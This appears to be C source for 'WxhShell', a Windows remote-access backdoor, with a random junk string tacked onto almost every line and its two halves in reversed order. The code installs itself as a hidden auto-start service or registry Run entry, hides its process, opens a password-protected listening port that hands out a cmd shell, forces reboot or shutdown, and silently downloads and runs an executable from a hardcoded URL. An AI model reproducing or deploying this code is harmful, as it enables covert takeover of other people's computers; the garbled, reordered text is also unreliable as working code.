    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .s!0S-RkC  
    if(Boot(SHUTDOWN)) '-[hy>t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~8%bfpe  
    else { &NoA, `|7  
    closesocket(wsh); WWZ<[[ >  
    ExitThread(0);  (FaYagD  
    } =s]2?m  
    break; bM:4i1Z  
    } x;E/  
  // 获取shell 0R[fH  
  case 's': { XBkaum4j  
    CmdShell(wsh); [6JDS;MIN  
    closesocket(wsh); 7 @}`1>97  
    ExitThread(0); q9j~|GE|  
    break; Dykh|"  
  } f5b|,JJ  
  // 退出 3!fR'L/i  
  case 'x': { cRD;a?0/6s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kl%[fjI)  
    CloseIt(wsh); wCR! bZ w  
    break; ecoI-@CAI  
    } 8sc2r  
  // 离开 H@$K /  
  case 'q': { Q#Zazvk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8#Z)qQWi_t  
    closesocket(wsh); @SiV3k  
    WSACleanup(); 0a8\{(w  
    exit(1); h-;> v.  
    break; <jF&+[*iT  
        } S Z/yijf  
  } pV  u[  
  } p5vQ.Ni*\-  
L[Z^4l_!  
  // 提示信息 Us'JMZ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z~3ubta8(@  
} Ax;?~v4Z  
  } 4dCXBTT  
etiUt~W  
  return; M:%g)FgW  
} :/szA?:W  
rg k1.0U0  
// shell模块句柄 d v[.u{#tP  
int CmdShell(SOCKET sock) f:&JKB)N  
{ %aK[Yvo6  
STARTUPINFO si; :f39)g5>  
ZeroMemory(&si,sizeof(si)); 6'/ Zq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p}1gac_c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  ] ?D$n  
PROCESS_INFORMATION ProcessInfo; SM RKEPwp&  
char cmdline[]="cmd"; )D6 i {I0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gWa0x-  
  return 0; j y5[K.  
} % H"  
5CN=a2&  
// 自身启动模式 JmK )Y# A  
int StartFromService(void) iJOG"gI&  
{ f>C+l(  
typedef struct ]w;t0Bk  
{ 5 0-7L,  
  DWORD ExitStatus; tugIOA  
  DWORD PebBaseAddress; -bOtF%  
  DWORD AffinityMask; CkNR{?S  
  DWORD BasePriority; yx-"&K=`  
  ULONG UniqueProcessId; :LNZC,-f}5  
  ULONG InheritedFromUniqueProcessId; U2<q dknB  
}   PROCESS_BASIC_INFORMATION; H+Bon=$cE!  
 =5B5  
PROCNTQSIP NtQueryInformationProcess; [#Gu?L_W  
@#t<!-8d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E=,5%>C0#%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p.g>+7  
IO"P /Q  
  HANDLE             hProcess; ciml:"nQ  
  PROCESS_BASIC_INFORMATION pbi; wdBB x\FP  
2ns,q0I A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BV>9U5  
  if(NULL == hInst ) return 0; KO#kIM-  
k# Ho7rS&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kJf0..J[#<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8\' tfHL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^ [m-PS(  
2 SD Z  
  if (!NtQueryInformationProcess) return 0; .U|'KCM9m  
!w%c= V]tV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8gE p5  
  if(!hProcess) return 0; .txtt?ZF2  
yy8BkG(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K\xM%O?  
XBCHJj]k  
  CloseHandle(hProcess); r^C(|Vx  
y< dBF[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x  zF  
if(hProcess==NULL) return 0; YB4 ZI  
OQ_< Vxz  
HMODULE hMod; W? 4:sLC#3  
char procName[255]; 2(3Q#3V  
unsigned long cbNeeded; YB7A5  
urx?p^c  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J9 NuqV3  
P}gtJ;  
  CloseHandle(hProcess); vjm? X  
,JK0N_=  
if(strstr(procName,"services")) return 1; // 以服务启动 R+uZi~  
~Uv#)  
  return 0; // 注册表启动 y4p"LD5%^  
} 44P [P{y  
Ce<z[?u  
// 主模块 oowofi(E  
int StartWxhshell(LPSTR lpCmdLine) {%>~ ]9E  
{ = E_i  
  SOCKET wsl; Y]`=cR`/"  
BOOL val=TRUE; XZ@+aG_%q  
  int port=0; _(' @'r  
  struct sockaddr_in door; .@nfqv7{  
zFO0l).  
  if(wscfg.ws_autoins) Install(); PZV>A!7C8n  
<HRPloVKo  
port=atoi(lpCmdLine); ,{q#U3  
0.R3(O  
if(port<=0) port=wscfg.ws_port; O ] !tK  
PV"\9OIKb.  
  WSADATA data; iN'T^+um=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x2)WiO/As  
Hn)? xw]x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^J7q,tvbJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ['\R4H!x  
  door.sin_family = AF_INET; <BBzv-?D  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +0ukLc@  
  door.sin_port = htons(port); .{8[o[w =  
iCiKr aW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]JGq{I>%+6  
closesocket(wsl); ~s'}_5;VY  
return 1; dPpQCx f  
} GR*sk#{  
Hc\@{17   
  if(listen(wsl,2) == INVALID_SOCKET) { [|*7"Q(  
closesocket(wsl); u?SwGXi~8  
return 1; cOpe6H6,bz  
} ET9tn1  
  Wxhshell(wsl); yc7b%T*Y  
  WSACleanup(); BWYv.&=(  
 jMI30  
return 0; 0#Ug3_dfr  
lbovwj  
} ( EJ1g^|"  
;5\'PrE  
// 以NT服务方式启动 0~$9z+S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DcaKGjp  
{ |;Jt * _  
DWORD   status = 0; /O.q4p  
  DWORD   specificError = 0xfffffff; ~e[qh+  
8b 7I\J`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; qrw*?6mSQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =eW4?9Uq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'Bt!X^  
  serviceStatus.dwWin32ExitCode     = 0; Gy["_;+xU  
  serviceStatus.dwServiceSpecificExitCode = 0; .c<U5/  
  serviceStatus.dwCheckPoint       = 0; Ei]Sks V>*  
  serviceStatus.dwWaitHint       = 0; bg0ix"  
Xqm ?@JN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rBL2A  
  if (hServiceStatusHandle==0) return; CHqi5Z/+  
ak:f4dEd  
status = GetLastError(); b9?Vpu`?  
  if (status!=NO_ERROR) 5GJkvZtFY  
{ ='kCY}dkO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o(54 A['  
    serviceStatus.dwCheckPoint       = 0; n>Oze7hVY  
    serviceStatus.dwWaitHint       = 0;  1 <T|  
    serviceStatus.dwWin32ExitCode     = status; %|JL=E}%|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 67T.qX2I$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o M@%2M_O(  
    return; u"hr4+/  
  } RJDk7{(  
A-myY30  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $d-yG553  
  serviceStatus.dwCheckPoint       = 0; 94 6r#`q  
  serviceStatus.dwWaitHint       = 0; e"sv_$*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #;8VBbc\^  
} >HwVP.~HN  
d<=!*#q;o  
// 处理NT服务事件,比如:启动、停止 /03 Wst  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P>~Usuf4  
{ @Bkg<  
switch(fdwControl) RlvvO  
{ T&S=/cRBK}  
case SERVICE_CONTROL_STOP: ^e]O >CJ  
  serviceStatus.dwWin32ExitCode = 0; #>~A-k)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w-km qh  
  serviceStatus.dwCheckPoint   = 0; c(8>oeKyD  
  serviceStatus.dwWaitHint     = 0; ZK2&l8  
  { Fpn'0&~-fi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J]S6%omp>  
  } oLlfqV,|L\  
  return; ]1GyEr:  
case SERVICE_CONTROL_PAUSE: 9$[MM*r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o(v7&m;  
  break; d,meKQ n  
case SERVICE_CONTROL_CONTINUE: :D2GLq*\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ax@7RJ||  
  break; c-.F {~  
case SERVICE_CONTROL_INTERROGATE: "[z/\l8O  
  break; Q-G8Fo%#,E  
}; ~tW<]l7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3_ E}XQd  
} Z5wQhhH  
~pI`_3  
// 标准应用程序主函数 wLO"[,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D"fjk1  
{ k{Y\YG%b  
$OGMw+$C ^  
// 获取操作系统版本 w*@9:+  
OsIsNt=GetOsVer(); I~"l9Jc!"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?6N\AM '  
7uv"#mq  
  // 从命令行安装 SZ4@GK  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,@N.v?p>  
ojj T  
  // 下载执行文件 dKchQsgCg  
if(wscfg.ws_downexe) { q~AvxO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vu*{+YpH  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7n;a_Z0s$  
} wc}x [cS  
}+[!h=Bx  
if(!OsIsNt) { ?"}U?m=  
// 如果时win9x,隐藏进程并且设置为注册表启动 slr>6o%W`  
HideProc(); 0}k vuuR  
StartWxhshell(lpCmdLine); <A\g*ld  
} P6v@ Sn  
else b*nI0/cbR.  
  if(StartFromService()) [P)](8nR[  
  // 以服务方式启动 >E,/|K*  
  StartServiceCtrlDispatcher(DispatchTable); n|QA\,=  
else QqeF   
  // 普通方式启动 @k:@mzB7R  
  StartWxhshell(lpCmdLine); &Dp&  
9]{Ss$W3x  
return 0; t[b(erO'  
} B(- F|q\  
~g~`,:Qc  
0r&FH$  
q7rX4-G$  
=========================================== -/7@ A  
\IR $~  
fv>Jn`  
* _,yK-et  
dftX$TS  
`\BBdQ#bH  
" {+9t!'   
"JYWsE  
#include <stdio.h> :c[T@[  
#include <string.h> ')fIa2dO/  
#include <windows.h> dsK ^-e6:5  
#include <winsock2.h> pG/g  
#include <winsvc.h> O=1 #KNS  
#include <urlmon.h> D9r;Ys%  
4tapQgj24  
#pragma comment (lib, "Ws2_32.lib") G6"4JTWO  
#pragma comment (lib, "urlmon.lib") U!nNT==  
Mw;^`ZxT  
#define MAX_USER   100 // 最大客户端连接数 (i@(ZG]/  
#define BUF_SOCK   200 // sock buffer t$Ua&w  
#define KEY_BUFF   255 // 输入 buffer "MOmJYH  
K<u~[^R  
#define REBOOT     0   // 重启 _xP@kN~  
#define SHUTDOWN   1   // 关机 n 2(\pQKm  
=G rg  
#define DEF_PORT   5000 // 监听端口 h{E9rc1,  
lg jY\?  
#define REG_LEN     16   // 注册表键长度 Lg6>\Z4  
#define SVC_LEN     80   // NT服务名长度 vZSwX@0  
WMoRosL74  
// 从dll定义API # kmI#W"^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6<n+p'+n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ia-&?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,=}+.ax  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wqXo]dX  
baf@"P9@\A  
// wxhshell配置信息 V Z60   
struct WSCFG { 6 )Qe*S  
  int ws_port;         // 监听端口 \'nE{  
  char ws_passstr[REG_LEN]; // 口令 1a},(ZcdX  
  int ws_autoins;       // 安装标记, 1=yes 0=no .noY[P 8i  
  char ws_regname[REG_LEN]; // 注册表键名 )q%DRLD'G  
  char ws_svcname[REG_LEN]; // 服务名 @hOY&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LFQP ysC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 DJNM =v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 16N`xw+{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vao3 &#D8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X*:)]p(R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c5HW.3"  
LS1}j WU!  
}; gHU0Pr9'  
s3gT6  
// default Wxhshell configuration & =vi]z:[  
struct WSCFG wscfg={DEF_PORT, z#olKBs  
    "xuhuanlingzhe", DTx>^<Tk  
    1, O@KAh5EB  
    "Wxhshell", A Rjox`  
    "Wxhshell", IAbH_+7O  
            "WxhShell Service", sVIw'W  
    "Wrsky Windows CmdShell Service", \OF"hPq  
    "Please Input Your Password: ", 2wZyUB;  
  1, !2]G.|5/A  
  "http://www.wrsky.com/wxhshell.exe", 9t0NO-a  
  "Wxhshell.exe" n11eJEtm  
    }; rEZMX2  
hKp-"  
// 消息定义模块 W#<ZaGsq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :B4X/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |Iq\ZX%q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ob7F39):N  
char *msg_ws_ext="\n\rExit."; 7ZpU -':  
char *msg_ws_end="\n\rQuit."; e p\a  
char *msg_ws_boot="\n\rReboot..."; "V7&@3  
char *msg_ws_poff="\n\rShutdown..."; 0-A@X>6bs  
char *msg_ws_down="\n\rSave to "; ).>O6A4:C  
,N5-(W  
char *msg_ws_err="\n\rErr!"; N7qSbiRf<  
char *msg_ws_ok="\n\rOK!"; lV<j?I~?Q  
R&s\h"=*  
char ExeFile[MAX_PATH]; I!,FxOM|$  
int nUser = 0; 9xUAfU  
HANDLE handles[MAX_USER]; Sc$]ar]S  
int OsIsNt; p%y|w  
}o#6g|"\sY  
SERVICE_STATUS       serviceStatus; / CVhvK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (K->5rSU  
^<'=]?xr  
// 函数声明 C&KH.h/N  
int Install(void); HA(G q  
int Uninstall(void); mmgIV&P  
int DownloadFile(char *sURL, SOCKET wsh); Gcu?xG{  
int Boot(int flag); 1'[_J  
void HideProc(void); tdB<  
int GetOsVer(void); ?e!mv}B_  
int Wxhshell(SOCKET wsl); ]W 6!Xw)[  
void TalkWithClient(void *cs); n8>( m,  
int CmdShell(SOCKET sock); q:ZF6o`Z83  
int StartFromService(void); djtCv;z  
int StartWxhshell(LPSTR lpCmdLine); F:rT.n  
c4n]#((%a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?i7}d@636  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); YXhxzH hPd  
keWqL]  
// 数据结构和表定义 2p|[yZ  
SERVICE_TABLE_ENTRY DispatchTable[] = 'I roQ M  
{ ojZvgF  
{wscfg.ws_svcname, NTServiceMain}, V,)bw  
{NULL, NULL}  h48 jKL(  
}; seEG~/U<  
3]}wZY0  
// 自我安装 } ^67HtNQ  
int Install(void) b7h0V4w  
{ $ @cg+Xrg1  
  char svExeFile[MAX_PATH]; .#y.:Pb|e  
  HKEY key; z>X<Di&x)  
  strcpy(svExeFile,ExeFile); BliL1"".  
Qyoly"b@  
// 如果是win9x系统,修改注册表设为自启动 =E''$b?Em  
if(!OsIsNt) { aI:G(C?jm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H[&X${ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vEIDf{  
  RegCloseKey(key); IH1 fvW e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V/}g'_E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z<c@<M=Q*  
  RegCloseKey(key); fB3W} dr  
  return 0; !4B($]t  
    } !B &%!06  
  } B'Ll\<mq@  
} + \AiUY  
else { }?jL;CCe  
@NS=  
// 如果是NT以上系统,安装为系统服务 kG>d^K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^ LT KX`p  
if (schSCManager!=0) \-B8`ah  
{ J2W:Q  
  SC_HANDLE schService = CreateService R4Vi*H  
  ( {m/h3hjFa  
  schSCManager, ]N+(SU  
  wscfg.ws_svcname, WM_wkvY l  
  wscfg.ws_svcdisp, ,KHebv!  
  SERVICE_ALL_ACCESS, \]eB(&nq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OZ6g u$ n*  
  SERVICE_AUTO_START, -mlBr63Bj  
  SERVICE_ERROR_NORMAL, .Bu?=+O~  
  svExeFile, ({}JvSn1  
  NULL, se1\<YHDS  
  NULL, z\fmwI  
  NULL, - W5ml @  
  NULL,  k_;+z  
  NULL xu _:  
  );  X)^kJ`  
  if (schService!=0) kF lq@['U  
  { L`Lro:E?kL  
  CloseServiceHandle(schService); OTNcNY  
  CloseServiceHandle(schSCManager); 1 \_S1ZS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5P'<X p  
  strcat(svExeFile,wscfg.ws_svcname); ~a^"VQ5]ac  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U!rhj&n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "Y Z B@  
  RegCloseKey(key); {>E`Zf:  
  return 0; &xG>"sJ  
    } i+)9ItZr  
  } Bu\:+3)  
  CloseServiceHandle(schSCManager); +&7D ;wj=  
} "r Bb2.  
} XUrxnJ4  
qMrBTq[  
return 1; '7UW\KEB[}  
} yrnIQu*Uu  
%,G&By&,  
// 自我卸载 $s*\yam?|  
int Uninstall(void) qd=&*?  
{ y()7m/  
  HKEY key; D)ZGTq`(  
[nO\Q3c|@$  
if(!OsIsNt) { o+o'!)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3VXh^y+  
  RegDeleteValue(key,wscfg.ws_regname); kDAPT_Gid  
  RegCloseKey(key); c5& _'&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tp-PE?  
  RegDeleteValue(key,wscfg.ws_regname); ~9N n8g6  
  RegCloseKey(key); gi|j ! m  
  return 0; 06FBI?;|=  
  } aB6F<"L,  
} >8$]g  
} e^?0uVxS1  
else { pDlU*&  
Ka|WT|1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Lb2bzZbhx  
if (schSCManager!=0) K/+Y9JP9  
{ =}6yMR!4R<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $n30[P@p;  
  if (schService!=0) 3_:J`xX(4  
  { D\}A{I92F4  
  if(DeleteService(schService)!=0) { TmZ% ;TN  
  CloseServiceHandle(schService); {_GhS%  
  CloseServiceHandle(schSCManager); UQmdm$.  
  return 0; bT^6AtsJ  
  } b '1n1L  
  CloseServiceHandle(schService); sOegR5?;  
  } h JVy-]  
  CloseServiceHandle(schSCManager); fO+$`r>9  
} 1Y2]jz4  
} i/j DwA  
s}NE[Tw  
return 1; {s8v0~  
} uAd4 Zz  
z@Klj qN  
// 从指定url下载文件 aNX M~;5~  
int DownloadFile(char *sURL, SOCKET wsh) EZ6\pyNB0#  
{ To_Y 8 G  
  HRESULT hr; HzcI2 P`|  
char seps[]= "/"; gVM&wo |  
char *token; t u )kWDk  
char *file; K\w:'%>-  
char myURL[MAX_PATH]; E;Akm':  
char myFILE[MAX_PATH]; zGfF.q}  
^W&qTSjh  
strcpy(myURL,sURL); 9~ [Sio~  
  token=strtok(myURL,seps); >}& :y{z~  
  while(token!=NULL) VI{!ZD]  
  { @2>A\0U  
    file=token; 'G6g yO/K  
  token=strtok(NULL,seps); I\%a<  
  } S?ypka"L  
'&XL|_Iq  
GetCurrentDirectory(MAX_PATH,myFILE); w}wABO  
strcat(myFILE, "\\"); Y8 c#"vm(  
strcat(myFILE, file); WInfn f+'  
  send(wsh,myFILE,strlen(myFILE),0); x4$#x70?  
send(wsh,"...",3,0); Y[=X b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `QpkD8  
  if(hr==S_OK) pX5#!)  
return 0; %XX(x'^4  
else ~N<zv( {lG  
return 1; 5cr d.1@^  
0X.(BRI~6p  
} e XB'>#&s  
?AMn>v  
// 系统电源模块 ?X'm>R. @  
int Boot(int flag) 2pKkg>/S  
{ :Pa^/i  
  HANDLE hToken; }XJA#@  
  TOKEN_PRIVILEGES tkp; /$w,8pV =  
,".1![b  
  if(OsIsNt) { |ia#Elavo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P2U^%_~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  `7v"(  
    tkp.PrivilegeCount = 1; >(>,*zP<9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xL-]gwq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JDp"!x{O  
if(flag==REBOOT) { zEHX:-f8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <'{*6f@n  
  return 0; 6ol*$Q"z  
} 'T!^H  
else { eflmD$]SW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L5-p0O`R  
  return 0; O[$,e%  
} NNOemTh  
  } AQx:}PO  
  else { Y@jO#6R  
if(flag==REBOOT) { v[++"=< o8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XfYMv38(  
  return 0; (qG}`?219J  
} n(#|  
else { M<nKk#!+h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ';>]7oT`  
  return 0; `#/0q*$  
} U ]o  
} zJ"`40V*;  
No|T#=BZ[  
return 1; @%aU)YDwi  
} Q%_QT0H9Kz  
^x BQ#p  
// win9x进程隐藏模块 #N?VbDK9_  
void HideProc(void) ;hz;|\ko5  
{ ^k* h  
\LN!k-c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -:$#koW  
  if ( hKernel != NULL ) >cTSX  
  { C2X$bX"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); AmyZ9r#{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); !R`E+G@   
    FreeLibrary(hKernel);  ktA5]f;  
  } x6qQ Y<>  
Whd\Ub8(  
return; (dH "b *  
} 8zI*<RX.Q  
// k`X  
// 获取操作系统版本 ;2k!KW@  
int GetOsVer(void) r5> 1n/+6  
{ fTq/9=Rq4  
  OSVERSIONINFO winfo; EE{]EW(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *F^t)K2  
  GetVersionEx(&winfo); Wb1?>q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4#^E$N:  
  return 1; DN$[rCi7  
  else 6rP?$mn2  
  return 0; h/i L/Q=  
} io[>`@=  
uht>@ WSg|  
// 客户端句柄模块 {V7W!0;!  
int Wxhshell(SOCKET wsl) qh]D=i  
{ }xA Eu,n^  
  SOCKET wsh; 99KW("C1F  
  struct sockaddr_in client; ^uV=|1<%  
  DWORD myID; ITt*TuS 2c  
]jB`"to*}  
  while(nUser<MAX_USER) z]49dCN  
{  X_\$hF  
  int nSize=sizeof(client); PwC9@c%c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jyz*W!kI  
  if(wsh==INVALID_SOCKET) return 1; B - 1Kfc  
D;Bij=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qo5yfdR  
if(handles[nUser]==0) fe3a_gYPz  
  closesocket(wsh); \ cr)O^&  
else (i1q".  
  nUser++; ,6EFJVu \  
  } pXhN?joe  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ] >4CBm$  
Fd1t/B,  
  return 0; Y 9SaYSX  
} !q8"Q t  
M(|6YF7u  
// 关闭 socket y0R9[ ;b07  
void CloseIt(SOCKET wsh) :'$V7LZ5  
{ M669G;w(K  
closesocket(wsh); ` 'vNHY  
nUser--; kM;}$*?  
ExitThread(0); .3 S9=d?  
} <9/?+)  
4}r.g0L  
// 客户端请求句柄 cHAq[Ebp2!  
void TalkWithClient(void *cs) N|3a(mtiZ'  
{ DUMC4+i  
W}iDT?Qi  
  SOCKET wsh=(SOCKET)cs; ul&}'jBr  
  char pwd[SVC_LEN]; c D5N'3  
  char cmd[KEY_BUFF]; ev[!:*6P  
char chr[1]; mb?r{WCi  
int i,j; ) >H11o{&  
X 2Zp @q(  
  while (nUser < MAX_USER) { +v)+ k  
?Z2_y-  
if(wscfg.ws_passstr) { cl{kCSZo.z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +UX~TT:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1]wo    
  //ZeroMemory(pwd,KEY_BUFF); (RBB0CE  
      i=0; 1Xkl.FcFw  
  while(i<SVC_LEN) { 2~ y<l  
5M? I-m  
  // 设置超时 Ge=|RAw3  
  fd_set FdRead; )~{8C:  
  struct timeval TimeOut; *?x[pqGq  
  FD_ZERO(&FdRead); er0y~  
  FD_SET(wsh,&FdRead); 9&"wfN N  
  TimeOut.tv_sec=8; 3>#io^35  
  TimeOut.tv_usec=0; Jz@2?wSp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); VfT@;B6ALF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1 uJpn  
S#F%OIx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (J5M+K\H  
  pwd=chr[0]; u|sdQ  
  if(chr[0]==0xd || chr[0]==0xa) { 9!,f4&G`  
  pwd=0; p1']+4r%  
  break; N+zR7`AG8  
  } y(yBRR  
  i++; 9`Y\`F#}q  
    } rebWXz7  
ZRP[N)Ld$  
  // 如果是非法用户,关闭 socket Y?4N%c_;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j-k]|0ea}  
} lbj_ if;  
303x|y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wqF_hs(O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /_V4gwb}|-  
Is(ZVI  
while(1) { ?/YT,W<c;&  
5gZ *  
  ZeroMemory(cmd,KEY_BUFF); | E\u  
l}XnCOIT,  
      // 自动支持客户端 telnet标准   %g7B*AX]  
  j=0; V5!mV_EoR@  
  while(j<KEY_BUFF) { Id?2(Tg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C4|H 5H  
  cmd[j]=chr[0]; yaK4% k  
  if(chr[0]==0xa || chr[0]==0xd) { ,D93A  
  cmd[j]=0; +-PFISa<r  
  break; %&M*G@j  
  } %T DY &@i=  
  j++; 9)S,c =z83  
    } $p\0/  
}_h2:^n  
  // 下载文件 " XlXu  
  if(strstr(cmd,"http://")) { 3z!^UA>q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); **~1`_7~*  
  if(DownloadFile(cmd,wsh)) P] Xl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o>y@1%aU  
  else dG%{&W9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I6Oc`S!L  
  } B i`m+ob  
  else { %5Zhq>  
&&TAX  
    switch(cmd[0]) { xeKfc}:&z  
  g)=-%n'RoE  
  // 帮助 >$_@p(w  
